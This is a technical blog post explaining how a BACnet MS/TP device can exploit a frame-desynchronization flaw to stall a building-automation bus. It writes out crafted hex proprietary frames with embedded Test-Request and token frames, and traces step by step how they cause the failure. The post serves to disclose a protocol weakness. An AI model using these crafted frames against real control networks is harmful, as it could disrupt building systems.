Attack BACnet MSTP by frame desynchronization

As pointed out by previous article http://www.hvacrcontrol.com/bacnet-mstp-frame-lost-synchronization/ , BACnet MSTP has a design flaw on frame synchronization, but how to utilize it to perform attack and strictly obey the standard at the same time?

We make some assumptions here:

  1. There are at least 3 devices on the bus with MAC address 1, 8,10. The device 1 is carefully designed to perform attack. Device 8 and 10 are innocent.
  2. Device 1 supports extended frame, device 8 and 10 are not.
  3. The timers of 3 devices is precise enough.

The work flow of device 1 is:

  1. When get token, send out frame A
  2. Pass token to MAC address 2
  3. When get token again, send out frame B
  4. Pass token to MAC address 2
  5. goto step 1 again.

Frame A is a valid proprietary frame (hexadecimal);

55 ff 80 ff 01 00 1d a3 02 2b 72 fe 55 ff 03 08 01 00 11 a0 ff 55 ff 21 01 08 00 09 ce d4 f3 55 ff 00 01 08 00 00 bf

Frame B is also a valid proprietary frame as:

55 ff 80 ff 01 00 1d a3 02 2b fe dc 55 ff 03 0a 01 00 11 b1 ff 55 ff 21 01 0a 00 09 fd 8a 51 55 ff 00 01 0a 00 00 8c

Every thing will go well if there is no frame desynchronization, but after hours running, if device 8 losses synchronization with frame A header (It has same effect if device 10 losses synchronization when device 1 sends frame B) , device 8 find another frame when scan Frame A’s data portion:

55 ff 03 08 01 00 11 a0 ff 55 ff 21 01 08 00 09 ce d4 f3 55 ff 00 01 08 00 00 bf

It’s a Test-Request frame send to device 8,  so device 8 try to reply it after Tturnaround with a Test-Response frame:

55 ff 04 01 08 00 11 ae ff 55 ff 21 01 08 00 09 ce d4 f3 55 ff 00 01 08 00 00 bf

but at the same time, device 1 passes token by sending:

55 ff 00 02 01 00 00 73

So the first 8 bytes of two frames are collided, so device 10 drop invalid header, find data as below:

55 ff 21 01 08 00 09 ce d4 f3 55 ff 00 01 08 00 00 bf

When device 1 finishs sending, it starts receiving data and get the same as:

55 ff 21 01 08 00 09 ce d4 f3 55 ff 00 01 08 00 00 bf

For device 10, it get a valid Not-For-Us frame header, so it enter SKIP-DATA state, there is not enough data to skip, so device 10 will wait until Tframe_abort.

For device 1, it’s a BACnet-Extended-Not-Expecting-Reply frame header, because it support extended frame, so it validate header by procedure described in Addendum 135-2012an. Because the data length is too short, so it abort the frame enter IDLE state again, then find another frame:

55 ff 00 01 08 00 00 bf

It’s a token frame passing token to device 1, so device 1 get token then sending Frame B just after Tturnaround:

55 ff 80 ff 01 00 1d a3 02 2b fe dc 55 ff 03 0a 01 00 11 b1 ff 55 ff 21 01 0a 00 09 fd 8a 51 55 ff 00 01 0a 00 00 8c

As mentioned above, Device 10 still wait 1 byte to skip previous frame (because Tturnaround < Tframe_abort), so it miss this frame header. get wrong frame as:

55 ff 03 0a 01 00 11 b1 ff 55 ff 21 01 0a 00 09 fd 8a 51 55 ff 00 01 0a 00 00 8c

It’s another Test-Request frame send to device 10, thing repeats.

From above, every devices strictly obey standard, but once frame desynchronization occurs, the whole MSTP bus is stalled.